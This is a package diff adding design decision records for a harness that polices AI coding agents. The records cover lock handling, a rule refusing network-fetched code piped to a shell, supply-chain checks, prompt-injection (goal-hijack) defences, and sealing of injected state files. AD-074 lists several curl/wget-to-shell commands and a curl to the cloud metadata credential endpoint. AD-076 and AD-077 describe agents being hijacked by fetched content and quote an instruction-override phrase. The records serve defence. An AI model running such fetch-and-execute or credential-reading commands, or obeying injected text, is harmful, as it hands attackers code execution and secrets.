@tech-leads-club/harness-toolkit 0.2.1

package/docs/decisions/ad-073.md

@@ -0,0 +1,102 @@
+---
+type: Decision
+title: "AD-073 — A neighbour mid-gate is not a reason to block a turn"
+description: "A pre-check returned BLOCKED on any live lock holder, which denied the cached verdict the gate consults first, made a 120-second backoff loop unreachable, and told the model to wait for something a stop hook cannot wait for. The turn now reuses, waits briefly, or defers — and a deferral is recorded rather than narrated."
+tags: [decision, gate, concurrency, rails]
+timestamp: "2026-08-17"
+---
+
+# AD-073 — A neighbour mid-gate is not a reason to block a turn
+
+- **status**: active
+
+## Decision
+
+1. **The pre-check is gone.** `runLockedGate` decides in its existing order: reuse a matching verdict, else take
+   the lock.
+2. **The stop path's wait is bounded** at `STOP_LOCK_WAIT_MS`, a fifth of the `Stop` hook's registered timeout.
+3. **A wait that expires defers.** The turn ends; it is not blocked.
+4. **`GateRun` is a union**, so a deferred gate cannot be read as a passing artifact.
+5. **A deferral is recorded, not narrated**: `gate.outcome` with `deferred_to`, and
+   `last_gate_result: "skipped"` in the handoff — never `"pass"`.
+
+## Why
+
+**Four defects behind one message.** Reported from the field three times in one day, always:
+
+```
+BLOCKED: the grind lock is held by cursor session f7ac90a5-… (pid 206411).
+Wait for it to release or coordinate, then continue.
+```
+
+The code was:
+
+```ts
+const holder = coreFacade.gate.describeHolder(root);
+if (holder) {
+  return { kind: "continue", text: `BLOCKED: the grind lock is held by ${holder}...` };
+}
+```
+
+- **It denied the cache.** `runLockedGate` consults the recorded verdict *before* taking the lock, so a turn whose
+  inputs hash to what a neighbour already verified needs no lock at all
+  ([/decisions/ad-045.md](/decisions/ad-045.md)). The pre-check returned before that line was reached, so a usable
+  verdict sat on disk unread while the turn was blocked. This is the sharpest half: the answer was already there.
+- **It made the wait unreachable.** `withGateLock` has a backoff-and-steal loop with a 120-second budget. For a
+  live holder it never ran. The turn did not wait one second.
+- **It asked the model for something it cannot do.** A stop hook cannot sleep and retry — the turn is ending. That
+  is [/decisions/ad-047.md](/decisions/ad-047.md)'s rule, and the loop the operator saw is the model being
+  blocked, trying to end again, and being blocked again.
+- **`continue` is not a message channel.** It renders as `{"decision":"block"}`, so *any* text at stop time is a
+  block. Naming the neighbour and letting the turn end were mutually exclusive by construction.
+
+**`gate.lock.ts` predicted two of these, twice, in its own comments** — *"callers short-circuit on this answer
+before `withGateLock` can reach `stealIfStale`"*. Both fixes went to the **dead holder** branch, which is why a
+dead pid frees the lock immediately today. The live-holder short-circuit was never questioned.
+
+**Deferring is safe because the sessions share a tree.** The neighbour's commands cover this turn's edits too. If
+they pass, this turn was legitimate and the verdict now says so. If they fail, the neighbour is blocked holding
+the failure and the tree is still broken, so the next stop in either session blocks on it. The property cannot
+stay silently unverified; what is given up is only *which* turn is told, and telling the turn that cannot act was
+worth nothing.
+
+**The bound is a fifth of the budget, not the whole of it.** `GATE_LOCK_WAIT_MS` is 120 000 and the `Stop` hook is
+registered with `timeoutSeconds: 120`. Waiting the library default would leave nothing for the gate the wait
+exists to run — the host kills the hook first. Removing the pre-check without bounding the wait would have traded
+an instant block for a killed hook.
+
+## Trade-offs
+
+**A turn can now end without its own gate verdict.** That is the point, and it is the one thing this gives up.
+The handoff says `skipped` and the record names the holder, so nothing claims verification that did not happen —
+but an operator reading only the transcript sees a clean stop. `tlc harness why` is where the deferral lives.
+
+**The deferral is invisible in the moment.** There is no stop-time channel that carries text without blocking, so
+inventing one was not on the table. Recording it and leaving the turn alone is the honest trade; narrating it
+would have reproduced the defect.
+
+**A test seam reads an environment variable.** `TLC_TEST_GATE_LOCK_WAIT_MS` exists because a test that proves the
+wait has to wait, and ten seconds on every gate run in three environments is real cost. It only ever shortens,
+only when set, and the production default is a constant no project can reconfigure. It is still a seam in shipped
+code that exists for the suite.
+
+**Two sessions in one checkout is still not a supported workflow.** This makes it survivable rather than
+endorsed. Nothing coordinates the two beyond the lock and the verdict hash.
+
+**The elapsed-time assertion is a clock in a test.** Asserting the bound as a constant was not enough: a mutant
+that stopped *passing* it fell back to the 120-second default, still deferred, and passed every other assertion
+while taking two minutes. Only elapsed time proves the seam reaches the lock. The bound is 30 seconds against the
+120 it catches, which is slack enough not to be a race.
+
+## Not decided here
+
+- **A cross-session queue.** One bounded wait, then defer. A queue would need a protocol between sessions that
+  nothing else in the harness has.
+- **Whether the deferring turn should adopt the neighbour's verdict once it lands.** It arrives after the turn
+  ended; the next stop in that session picks it up through the ordinary cache path.
+- **Whether the wait should scale with the configured gate commands.** A project whose test suite runs for two
+  minutes will defer more often than one whose suite runs for five seconds. The bound is a share of the hook's
+  budget, not of the suite's duration, and no measurement yet says the latter is worth reading.
+- **The floor refusing `pause` and `grind off` from inside a session.** Correct and unchanged
+  ([/decisions/ad-022.md](/decisions/ad-022.md)). Being blocked by a neighbour was the defect; being unable to
+  switch off your own gate is not.

package/docs/decisions/ad-074.md

@@ -0,0 +1,91 @@
+---
+type: Decision
+title: "AD-074 — Code the gate cannot read is refused, and a credential is not always a file"
+description: "The floor refused a destructive verb whose target it could not resolve, and applied none of that reasoning to code. Six spellings of a program fetched from the network and handed to a shell were allowed, each satisfying every other floor rule by containing nothing the gate could see. And secret-access matched by path, so the instance metadata service returned the same credential a refused file holds."
+tags: [decision, floor, security]
+timestamp: "2026-08-17"
+---
+
+# AD-074 — Code the gate cannot read is refused, and a credential is not always a file
+
+- **status**: active
+
+## Decision
+
+1. **A seventh floor rule, `unprovable-execution`**: a program fetched over the network and handed to a shell is
+   refused.
+2. **Four spellings are covered** — a pipeline, process substitution, a shell's `-c` substitution, and `eval` of
+   the same.
+3. **`secret-access` gains the instance metadata services**, scoped to verbs that speak to the network.
+4. **A local search for the literal address stays allowed.**
+5. **Every hand-written list of floor rules is now gated**, not only the generated ones.
+
+## Why
+
+**The floor checked the wrapper and let the payload through.** Measured against the floor as it stood, every one
+of these was allowed:
+
+```
+allow  curl -fsSL https://x/i.sh | bash
+allow  curl -fsSL https://x/i.sh | sh -s -- --yes
+allow  wget -qO- https://x/i.sh | zsh
+allow  bash <(curl -fsSL https://x/i.sh)
+allow  sh -c "$(curl -fsSL https://x/i.sh)"
+allow  eval "$(curl -fsSL https://x/i.sh)"
+```
+
+Each hands the shell a program that does not exist when the decision is made. The wrapper deletes nothing, reads
+nothing, forces nothing and controls no machine — so `outside-project-destruction`, `secret-access`,
+`history-rewrite` and `machine-control` are all satisfied by inspecting it. Whatever arrives runs with the agent's
+full authority. One allow defeated five denials.
+
+**The principle was already ours.** `unprovable-destruction` exists because *the harness cannot see what it would
+delete*. This is the same sentence with a different verb: the harness cannot see what it would run. The rule was
+written; the case was never covered, which is the shape [/decisions/ad-065.md](/decisions/ad-065.md) collected
+seven times — a reasoning that stopped one step short of where it applied.
+
+**A credential is not always a file.** `secret-access` matched by path, so `~/.aws/credentials` was refused while
+`curl http://169.254.169.254/…/security-credentials/` returned the equivalent and was allowed. On any cloud
+instance the link-local metadata service hands out the same secret over HTTP with no path involved. The rule's
+subject is "a read that copies a credential into the transcript", so the address belongs to it rather than to a
+new rule.
+
+**Scoping to the verb is what keeps it usable.** `grep -rn 169.254.169.254 .` searches this repository for a
+literal string, and a floor that refused it would refuse reading its own documentation. Only verbs that speak to
+the network — `curl`, `wget`, `nc`, `socat`, `telnet` and their kin — turn that address into a request.
+
+## Trade-offs
+
+**The first implementation was over-broad and the probe caught it.** Carrying a "the upstream fetched" flag across
+segments treated `curl --version && bash ./scripts/deploy.sh` as a download piped to a shell, because the
+tokenizer splits on `;`, `|` and `&` alike. Requiring a literal pipe keeps every real form and drops a sequence
+that merely mentions a fetcher. A false positive is expensive in a rule with no switch
+([/decisions/ad-034.md](/decisions/ad-034.md)), so the narrower rule wins and the gap is stated below.
+
+**Two ways to fetch and run are still allowed, deliberately.** `curl -o /tmp/i.sh … && bash /tmp/i.sh` runs a
+file, which is the coverage limit `bash script.sh` already carries. And an interpreter that downloads inside its
+own inline code — `python3 -c "…urlopen…exec…"` — needs the gate to understand Python. A rule that fired on any
+inline code containing a URL would refuse ordinary one-liners against ordinary APIs, and a floor rule cannot be
+switched off when it is wrong.
+
+**No host allowlist.** "Fetch from these domains and pipe to a shell" would name nothing on a fresh install and
+therefore enforce nothing, which this project already refused once for models
+([/decisions/ad-053.md](/decisions/ad-053.md)).
+
+**The `WebFetch` tool path is uncovered.** `FloorInput` carries a tool name, a file path and a command; no URL
+reaches it. Covering it means changing what each provider adapter extracts, which is a wider change than the rule
+itself.
+
+**The metadata host list is a list.** Four addresses today. A cloud whose endpoint is not among them is not
+covered, the failure is silent, and the fix is one string. That is the honest cost of matching an address rather
+than a property.
+
+## Not decided here
+
+- **Package installation.** Nothing in the harness looks at what a turn installs — an unpinned version, a
+  dependency added this turn, a lockfile that moved. It is a real gap and it belongs to a rail that can be
+  calibrated before it blocks, not to the floor.
+- **Whether a fetch with no shell should be recorded.** `curl` to an ordinary host is allowed and unremarked. An
+  operator asking "what did this turn reach for" has no answer today.
+- **Reading a program out of another language.** Stated above as a trade-off; it stays out until there is a rule
+  that does not refuse honest one-liners.

package/docs/decisions/ad-075.md

@@ -0,0 +1,79 @@
+---
+type: Decision
+title: "AD-075 — A dependency a turn adds outlives the turn, so two mechanical failures are worth a stop"
+description: "Nothing in the harness read a manifest or a lockfile, and npm install reached the floor as allow. A rail now catches a manifest that moved without its lockfile and a specifier that names no version. Calibrated against this repository's own history, which reported a rename commit as a dependency and made the manifest's declared names part of the rule."
+tags: [decision, supply-chain, rails]
+timestamp: "2026-08-17"
+---
+
+# AD-075 — A dependency a turn adds outlives the turn, so two mechanical failures are worth a stop
+
+- **status**: active
+
+## Decision
+
+1. **A rail, `supplyChain.enabled`, off by default**, diff-scoped against the sha the turn started from.
+2. **Two findings.** `unlocked` — a manifest gained a dependency and no paired lockfile moved. `unpinned` — an
+   added dependency names no version.
+3. **A manifest is recognised by filename**, from one table pairing each with the lockfiles its ecosystem accepts.
+4. **For a JSON manifest the declared dependency sections decide**, so the manifest is read as it stands.
+5. **A new dependency, pinned, with the lockfile moved, is silent.**
+
+## Why
+
+**The harness governed what an agent runs, deletes, reads and claims, and had no opinion about what it
+installs.** Measured: nothing under `src/core` and no capability in the catalog read a manifest or a lockfile, and
+`npm install` reached the floor as `allow` with no rule attached. A dependency added in a turn is code that runs
+on every later turn, in CI, and on every machine that installs the project — arriving with none of the review the
+turn's own diff gets.
+
+**Two failures are mechanical, and a third is not.** A manifest that moved without its lockfile is two sides of
+one fact updated on one side, which is the shape [/decisions/ad-065.md](/decisions/ad-065.md) collected seven
+times. A specifier of `latest` or `*` means the bytes that arrive tomorrow are not the bytes reviewed today. But
+*adding a dependency* is ordinary work, and a rail that fires on it fires on every honest turn — the shape that
+teaches an operator to switch a rail off ([/decisions/ad-034.md](/decisions/ad-034.md)). The operator wants to
+know; the rail should not block.
+
+**The calibration changed the rule.** Run against this repository's last eighty commits, the first version
+reported one finding — and it was wrong. A commit that renamed the package added `"name": "harness-toolkit"`, and
+the textual shape `"key": "value"` read it as a dependency. It would have read every `scripts` entry the same way,
+because a diff shows one line and one line cannot say which object it sits in. Reading the manifest and asking
+whether the key is in a declared dependency section is the only exact answer. After that the same eighty commits
+reported nothing, which is now credible rather than merely quiet: the unit cases prove the rule still fires.
+
+**Any of the ecosystem's lockfiles counts.** A project on pnpm has locked as firmly as one on npm, and a rule
+that only knew `package-lock.json` would have refused every pnpm and yarn project's honest work.
+
+## Trade-offs
+
+**PHP is absent, and not for a technical reason.** Its manifest filename contains a word `check-boundaries`
+forbids anywhere under `src/core`, because that word is also a provider's agent name
+([/decisions/ad-004.md](/decisions/ad-004.md)). The choice was between weakening the architecture rule for one
+table row and dropping the row. The rule is worth more, so the row went and the reason is stated here instead of
+a suppression being invented.
+
+**It reads the manifest on stop.** Only when the turn changed one, only the manifests among the changed paths, and
+manifests are small. A turn that touched none reads nothing, which is what `isManifest` is asked first for.
+
+**An unreadable or non-JSON manifest yields nothing.** The conservative direction is the one where honest work is
+not blocked: a missed dependency is quieter than a refused rename.
+
+**The version rule is a judgement about ranges.** `^1.2.3` and `~2.0` pass because the lockfile decides the bytes;
+a bare `>=1` fails because nothing bounds it above. A project that deliberately floats will find the rail wrong,
+which is why it is opt-in and why the refusal invites one line of justification rather than demanding compliance.
+
+**A filename the table does not carry is invisible.** Six ecosystems today. The failure is silent and the fix is
+one row, which is the same cost the comment gate's syntax table carries
+([/decisions/ad-058.md](/decisions/ad-058.md)).
+
+## Not decided here
+
+- **Advisories, licences, typosquats.** Each needs the network on every stop, and hook latency is a product
+  property ([/decisions/ad-012.md](/decisions/ad-012.md)). `npm audit` is already a gate command an operator can
+  configure.
+- **Blocking an install command.** The floor refuses fetch-and-run
+  ([/decisions/ad-074.md](/decisions/ad-074.md)); a package install through the ecosystem's own client is
+  ordinary work.
+- **Transitive lockfile churn.** A lockfile moving under an unchanged manifest is upstream's doing.
+- **How to cover PHP.** The row is blocked by a name collision, not by a design problem. Moving the table out of
+  `src/core` to dodge a word would be worse than the gap.

package/docs/decisions/ad-076.md

@@ -0,0 +1,102 @@
+---
+type: Decision
+title: "AD-076 — Goal-hijack enforcement needs the tool's output, and the host does not deliver it"
+description: "The untrusted-content rail frames rather than enforces, and promoting it means knowing that this action was caused by that content. The provider's PostToolUse hook carries no tool output, so causation is unknowable at that point. Recorded as a decision not to build, with the fact that blocks it and what would unblock it."
+tags: [decision, untrusted-content, providers]
+timestamp: "2026-08-17"
+---
+
+# AD-076 — Goal-hijack enforcement needs the tool's output, and the host does not deliver it
+
+- **status**: active
+
+## Correction, same day
+
+**The central fact in this record is wrong, and the decision that followed from it is wrong.** It is kept rather
+than rewritten because how the error was made is worth more than the appearance of not having made it.
+
+The claim "the host does not deliver it" rested on one source: the provider's published hook reference, read
+through a summarising fetch. Measured afterwards against 69,034 real records in this machine's own observability
+spool:
+
+| `hook_event_name` | records | carrying tool output |
+| --- | --- | --- |
+| `PostToolUse` | 3,808 | **3,759** |
+| `afterShellExecution` | 2,745 | **2,745** |
+| `afterMCPExecution` | 365 | **365** |
+| `postToolUse` | 19,651 | 0 |
+| `afterFileEdit` | 1,516 | 0 |
+
+Both providers deliver it. Claude Code carries `tool_response` on `PostToolUse`; Cursor carries `output` on
+`afterShellExecution` and `result_json` on `afterMCPExecution`. Our own fixtures omit the field, which is why
+reading our code first suggested it did not exist — the fixtures were the second weak source, not a confirmation.
+
+Two lessons, both already in this corpus and both ignored here. Read the host, not the code — and then read the
+*traffic*, not the host's documentation about itself. A doc summarised by a model is the weakest evidence
+available, and a decision record built on it inherits its confidence without its uncertainty.
+
+The buildable decision is [/decisions/ad-077.md](/decisions/ad-077.md). What survives below is the reasoning
+about the transcript, and the observation that the floor covers the damaging tail regardless of provenance —
+neither depended on the false fact.
+
+## Decision
+
+1. **The untrusted-content rail stays framing.** It is not promoted to enforcement.
+2. **The blocking fact is the host's**, not ours: the `tool.after` payload carries no tool output, so the content
+   that could have carried a directive is not available where a decision would be made.
+3. **The transcript is not adopted as a substitute**, because the provider's own documentation states it is
+   written asynchronously and may lag the live conversation.
+4. **The dangerous tail is already covered by provenance-blind rules**, and that is the coverage story rather
+   than detection.
+
+## Why
+
+**Enforcement here means establishing causation.** "This content hijacked the goal" requires knowing that the
+action about to run came *from* the content. Without the content there is no link, and a rail that guessed the
+link would interrupt every turn that acted after reading anything external.
+
+**The content is not there.** Checked against the provider's published hook reference rather than against our own
+code: the tool event delivers `session_id`, `transcript_path`, `cwd`, `permission_mode`, `hook_event_name`,
+`tool_name`, `tool_input`, `tool_use_id` — and no field carrying what the tool returned. Our own fixture for that
+event has the same shape, which is consistent rather than a coincidence.
+
+Designing first would have produced the failure this project has recorded eight times: a consumer reading where
+the producer does not write ([/decisions/ad-065.md](/decisions/ad-065.md)). The rail would have shipped, passed
+its tests against synthetic input, and detected nothing in production — a security control that is silently inert
+is worse than an absent one, because it is counted.
+
+**The transcript is a worse foundation than it looks.** It does hold tool results, and the harness already reads
+its tail for token accounting. But the provider documents it as written asynchronously and possibly lagging the
+in-memory conversation, so a rail reading it would miss content that arrived and not know it had. For a rail whose
+whole job is catching an attack, an unbounded false-negative rate that nothing can measure is not a control.
+
+**The tail that actually matters is already refused, and provenance never mattered to it.** A hijack succeeds by
+making the agent *do* something. The most damaging things — running a program fetched from the network, reading a
+credential, destroying outside the project, rewriting history, controlling the machine, writing policy — are floor
+rules ([/decisions/ad-074.md](/decisions/ad-074.md)), evaluated before any policy is read and regardless of who or
+what suggested them. An injected instruction to `curl … | bash` is refused for being unreadable code, not for
+being injected. That is a stronger guarantee than detection: it does not depend on recognising the attack.
+
+## Trade-offs
+
+**The honest coverage claim stays partial**, and this record is why. A hijack that makes the agent do something
+*ordinary* — edit the wrong file, open the wrong PR, summarise misleadingly — is not caught by anything here. The
+framing line is a request to the model, and a request to a stochastic system is not a control surface.
+
+**Framing still earns its place, narrowly.** It costs a few hundred characters once per turn, it names the source
+that fired, and it gives the model an explicit instruction to report a directive rather than obey it. That is worth
+having and is not worth calling enforcement.
+
+**This spends a decision record on something not built.** The corpus had no shape for that: seventy-five records,
+every one about something shipped. A record of a checked-and-refused approach is what stops the next person
+designing it, discovering the same hole, and paying for it twice.
+
+## Not decided here
+
+- **A `Stop`-time variant.** The provider exposes `last_assistant_message` at `Stop`, which contains the model's
+  own text rather than the tool's output. Whether a hijack is detectable in what the model *said* is a different
+  question, at a point where the turn is already over.
+- **Asking the provider for the field.** The right long-term fix is the host delivering tool output to the tool
+  event. Nothing here can do that, and the rail becomes buildable the day it lands.
+- **Provider-specific transcript reading behind the port.** Rejected above on the lag, not on layering. If the
+  documentation ever states a synchronous guarantee, the objection goes with it.

package/docs/decisions/ad-077.md

@@ -0,0 +1,94 @@
+---
+type: Decision
+title: "AD-077 — A command that appears verbatim in fetched content is put to the operator"
+description: "The untrusted-content rail framed and could not refuse, because refusing means proving the action came from the content. Both hosts do deliver what the tool returned — measured across 69,034 real records after a decision record claimed the opposite. An enforce mode remembers that content, bounded, and asks before a command found verbatim inside it."
+tags: [decision, untrusted-content, providers, rails]
+timestamp: "2026-08-17"
+---
+
+# AD-077 — A command that appears verbatim in fetched content is put to the operator
+
+- **status**: active
+
+## Decision
+
+1. **`toolOutput` joins the event contract**, optional, translated by each adapter from its own field and type.
+2. **A capability, `toolOutputAtAfter`**, because presence is per-event rather than per-host.
+3. **A second mode, `untrustedContent.mode: "frame" | "enforce"`.** `frame` is unchanged and stays the default.
+4. **`enforce` remembers what an untrusted read returned**, bounded at 64 KB per session, newest first,
+   whitespace collapsed and nothing else rewritten.
+5. **A shell command appearing verbatim in it yields `ask`**, naming the source — not `deny`.
+
+## Why
+
+**This record exists because the previous one was wrong.** [/decisions/ad-076.md](/decisions/ad-076.md) concluded
+that the host does not deliver tool output, on the strength of one source: the provider's published hook
+reference, read through a summarising fetch, with our own fixtures — which omit the field — taken as
+confirmation. Measured afterwards against 69,034 real records in this machine's own observability spool:
+
+| `hook_event_name` | records | carrying output | field | type | largest |
+| --- | --- | --- | --- | --- | --- |
+| `PostToolUse` | 3,808 | 3,759 | `tool_response` | object | 66 KB |
+| `afterShellExecution` | 2,745 | 2,745 | `output` | string | 864 KB |
+| `afterMCPExecution` | 365 | 365 | `result_json` | string | 691 KB |
+| `postToolUse` | 19,651 | 0 | — | — | — |
+| `afterFileEdit` | 1,516 | 0 | — | — | — |
+
+Both hosts deliver it. The lesson is one this corpus already held and this session ignored twice: read the host
+rather than the code, and then read the **traffic** rather than the host's documentation about itself.
+
+**Three measured facts shaped the design, and each would have been a defect if assumed.**
+
+*Three names and two types.* One host returns an object, another two strings, under three different keys. That is
+what the anti-corruption layer is for ([/decisions/ad-004.md](/decisions/ad-004.md)) — the translation is each
+adapter's, and core reads one field.
+
+*Presence is per-event.* Two after-events carry nothing across 21,167 records. A rail that assumed presence
+would have been blind on the majority of one host's traffic and reported nothing, which is the silently-inert
+control [/decisions/ad-076.md](/decisions/ad-076.md) argued is worse than none. Hence a capability *and* a check
+of the field.
+
+*It can be 864 KB.* Remembering everything would put megabytes in the state directory and spend hook latency
+reading it back ([/decisions/ad-012.md](/decisions/ad-012.md)). The budget is fixed, the newest content wins, and
+what was dropped is recorded so a miss is explainable.
+
+**Verbatim, because provenance has to be provable.** An agent that rewrites a command before running it is
+missed, deliberately. The alternative is guessing that a command resembles the content, which would ask about
+every command in every turn that read anything — the shape that gets a rail switched off
+([/decisions/ad-034.md](/decisions/ad-034.md)).
+
+**`ask` rather than `deny`, because the finding is not a verdict.** A page saying "run `npm install`" and an agent
+running it is worth the operator's eye and is not certainly an attack. A narrower interruption is worth more than
+a broader one ([/decisions/ad-026.md](/decisions/ad-026.md)), and the ask names the source so the operator decides
+with the evidence.
+
+## Trade-offs
+
+**A rewritten command is invisible.** This catches the copy, not the paraphrase. It is the half that can be
+proven.
+
+**The recall lives on disk.** The read and the command are two hook invocations in two processes, so memory is
+not an option. It is one small JSON file per session in the state directory, cleared on the prompt boundary with
+the framing marker.
+
+**Only shell commands are checked.** A write whose content came from a fetched page is the same shape and a much
+larger matching problem. Shell is where the damage is immediate.
+
+**The vendor field names could not go in the contract's prose.** `check-boundaries` refused the comment naming
+them, correctly: a shared vocabulary that teaches one host's field names is no longer shared. The measurement
+lives here and in the provider docs; the contract states the shape.
+
+**`UntrustedMode` needed an entry in the wiring checker's config-facing list.** `enforce` is written by an
+operator in a project config and by nothing in this repository, so the read-and-never-written rule
+([/decisions/ad-041.md](/decisions/ad-041.md)) would have failed the gate. That list is the only escape hatch and
+it is per union, so the entry states that the whole type is operator-supplied rather than hiding a dead member.
+
+## Not decided here
+
+- **Detecting an injected directive in the content.** "Ignore previous instructions" is a pattern, and a rail
+  firing on the pattern fires on this repository's own documentation about the pattern. The action is observable;
+  the intent is not.
+- **Non-shell actions.** Stated above.
+- **The transcript.** Documented as possibly lagging the live conversation, and now unnecessary.
+- **Whether `enforce` should become the default.** It changes behaviour for every project that enabled the rail,
+  and a capability changes nothing by default when it arrives.

package/docs/decisions/ad-078.md

@@ -0,0 +1,84 @@
+---
+type: Decision
+title: "AD-078 — The two files the harness reads aloud are sealed on write and verified on injection"
+description: "Every policy source is hashed at session start, and the handoff and the lesson store are not among them — yet both are read into future turns. The policy mechanism does not transfer, because the handoff changes every turn by design. Sealed on write instead, inside the lock, and a write the harness did not make withholds the content rather than refusing the turn."
+tags: [decision, integrity, state]
+timestamp: "2026-08-17"
+---
+
+# AD-078 — The two files the harness reads aloud are sealed on write and verified on injection
+
+- **status**: active
+
+## Decision
+
+1. **Sealed on write, inside the lock.** After the harness writes the handoff or the project lesson store it
+   records the content hash in a sidecar.
+2. **Verified where the content is injected**, not on every read.
+3. **Divergence withholds the content and names the file.** The turn continues without it.
+4. **A missing sidecar is adopted, not refused.**
+5. **The platform stays generic**: `updateJsonAtomic` gained a callback that runs inside the lock, and what it
+   does is core's business.
+
+## Why
+
+**Two files are read into future turns and neither was covered.** The policy baseline hashes the project config,
+the runtime config, `harness-mode` and the flag files. `handoff.json` is read at `session.start`, `stop`,
+`subagent.stop` and `response.after`, and the lesson store is selected and rendered into the turn's context.
+Text placed in either reaches the model on every later turn, and nothing detected it.
+
+**The policy mechanism does not transfer, and copying it would have produced noise.** A policy file does not change
+during a session except by an operator command, which is what makes "did this change" the right question. The
+handoff changes **every turn by design** — the harness rewrites it at the end of each one. Hashed as a policy
+source it would diverge constantly and the rail would be switched off on its first day
+([/decisions/ad-034.md](/decisions/ad-034.md)).
+
+The answerable question is *did something other than the harness change it*, and it is answerable because each
+file has exactly one write path: `patchHandoff` and `mutateStore`, both through `updateJsonAtomic`.
+
+**The seal is recorded inside the lock.** A caller sealing after the lock releases races the next writer, and the
+one that loses leaves a record matching neither content — a file that reads as diverged on the next turn for no
+reason. That is why the platform helper gained the callback instead of the two call sites sealing afterwards.
+
+**Reading and injecting are different acts.** `tlc harness handoff` displaying a diverged file is how an operator
+investigates it. A turn being *told* what the file says is the moment worth withholding. Refusing the read would
+have removed the only tool for diagnosing the problem the rail reports.
+
+**Withholding, not refusing the turn.** A poisoned handoff should not stop work; it should stop being read aloud.
+The note names the file and says that the next harness write reseals it, so the operator whose own edit triggered
+it has a one-step way out.
+
+## Trade-offs
+
+**This is defence in depth and not the first line, and it must not be described as one.** The floor already
+refuses an agent write to either file — both sit under the project state directory, which `policy-surface-write`
+covers. What this catches is a write the floor did not see: another process, an MCP server with filesystem
+access, a route through a tool the detection list does not name.
+
+**Deleting the sidecar buys one unverified read.** A missing seal is adopted, because every install predating this
+has no sidecar and refusing on absence would break all of them. An attacker who can delete the sidecar can also
+edit the file, so the hole is real and bounded to a single turn — the next harness write reseals, and thereafter a
+second edit diverges.
+
+**No signing.** A key the harness can read is a key anything in the same session can read, and key management is
+out of scope here exactly as it is for the attestation chain ([/decisions/ad-028.md](/decisions/ad-028.md)). The
+hash detects a change; it does not prove who made it.
+
+**The global lesson store is not sealed.** It is written by sessions in other repositories, so a per-project seal
+would diverge on every legitimate cross-project write. The tier that crosses products is the tier this cannot
+cover, which is the same boundary [/decisions/ad-040.md](/decisions/ad-040.md) drew for a different reason.
+
+**Two more files now carry a sidecar.** One small JSON each, under the state directory, written inside a lock the
+write already held. The cost is a hash of a small file per write.
+
+## Not decided here
+
+- **Sealing the rest of the state directory.** Obs logs, locks, flags and boot markers are not injected into a
+  turn, so sealing them would cost writes and catch nothing that reaches the model.
+- **What `doctor` should say about an unsealed file.** Every install starts unsealed and seals itself on the first
+  write, so a warning would fire on a healthy install — the shape
+  [/decisions/ad-034.md](/decisions/ad-034.md) refuses. Whether a *persistently* unsealed file is worth reporting
+  needs a measurement nobody has.
+- **Verifying at `stop` as well as `session.start`.** The stop reads the handoff to decide, rather than to tell the
+  model, so the same reasoning that separates reading from injecting applies. Whether a decision taken from a
+  poisoned handoff is a distinct risk is a separate question.

package/docs/decisions/ad-079.md

@@ -0,0 +1,73 @@
+---
+type: Decision
+title: "AD-079 — The coverage claim is a generated page with its gaps in it, not a badge in the README"
+description: "A self-assessment against a published risk taxonomy is worth publishing and worth keeping out of the README. Every hand-written list of this project's own rules drifted inside one week, so the control column is generated from the catalogs and a name that stops existing fails the build."
+tags: [decision, docs, security, gates]
+timestamp: "2026-08-17"
+---
+
+# AD-079 — The coverage claim is a generated page with its gaps in it, not a badge in the README
+
+- **status**: active
+
+## Decision
+
+1. **A page of its own**, `docs/coverage.md`, not a table in the README. The README links it in one paragraph.
+2. **The control column is generated** from `floor.catalog.ts` and `capabilities/catalog.json`, and a name that is
+   neither a floor rule nor a capability id fails the gate.
+3. **A row short of `covered` must state what it leaves open**, checked mechanically.
+4. **The taxonomy version and the date are on the page**, because a revision to somebody else's list makes ours
+   stale and nothing here will notice.
+5. **No badge, no score in the README.**
+
+## Why
+
+**Publishing it is worth more than a badge, and the gaps are why.** A reader deciding whether to adopt this wants
+to know what it does not do. Four covered, five partial, one not applicable — with each limit written in the terms
+an operator would notice — is a more useful and more credible artifact than a number.
+
+**The README is the wrong home, on evidence from this week.** Every hand-written list of this project's own rules
+drifted, and three were found and fixed within days of each other: the wizard's narrated half still described the
+comment gate diffing against `HEAD` after a decision replaced it; `concepts.md` still said the grind lock waits 120
+seconds after a decision replaced that too; and `secret-access`'s own description in the floor catalog still
+described only files after the metadata-service rule shipped. A risk mapping is a fourth view of the same facts,
+and it would have drifted the same way.
+
+So the control names come from the catalogs and the gate checks them. A rail renamed or removed fails the build
+rather than leaving a claim standing on a page nobody re-reads. What stays hand-written is the judgement — which
+risk a control answers, and what it leaves open — because no generator can produce that.
+
+**A self-graded score in the README would contradict the product.** The ship gate blocks a turn that claims
+delivery without evidence. The empty-diff anti-ship exists because a claim with no diff behind it is worth nothing.
+[/decisions/ad-053.md](/decisions/ad-053.md) refused to ship an allowlist that names nothing, on the grounds that
+a control enforcing nothing is worse than none. A badge asserting coverage we grade ourselves is the same move the
+gates refuse, and the first reader who checks it against the code stops trusting the rest of the README.
+
+**The limit field is required rather than encouraged.** A `partial` row with no stated limit is a claim with no
+edge, which reads as coverage to anyone skimming. The checker refuses it, so the page cannot degrade into a
+scoreboard.
+
+## Trade-offs
+
+**It is a fourth view of the same rules.** README tiers, `architecture.md`, `concepts.md` prose, and now this. The
+first two are generated, this one is half-generated, and `concepts.md` is not — which makes `concepts.md` the next
+one to drift. Naming that here is cheaper than discovering it later.
+
+**A self-assessment is worth what the reader thinks of the author.** The page says so in its first line rather than
+implying otherwise. Nobody external has verified it, and no wording makes that untrue.
+
+**The taxonomy will move and this page will not.** There is no mechanism to notice a revision to somebody else's
+published list — only the date. A generated page cannot fix a stale premise, and pretending the version string is
+a check would be worse than admitting it is a marker.
+
+**Three of the five partials are partial for one reason.** The harness sits at one developer's editor: it sees
+actions rather than identities, and what a turn wrote rather than what it meant. That is a property of the
+substrate, not a backlog, and rows that say so are more honest than rows implying work is queued.
+
+## Not decided here
+
+- **Generating `concepts.md`.** It is the last unrendered view of the rails and the one most likely to drift next.
+  It is also prose an operator reads end to end, which a generator does not write well.
+- **A second taxonomy.** One is a frame; two is a compliance matrix, and nothing has asked for that.
+- **Whether `covered` should require a test.** Every control named here has tests, but nothing checks that link.
+  Asserting it mechanically would mean naming test files in the table, which is a fifth thing to keep in step.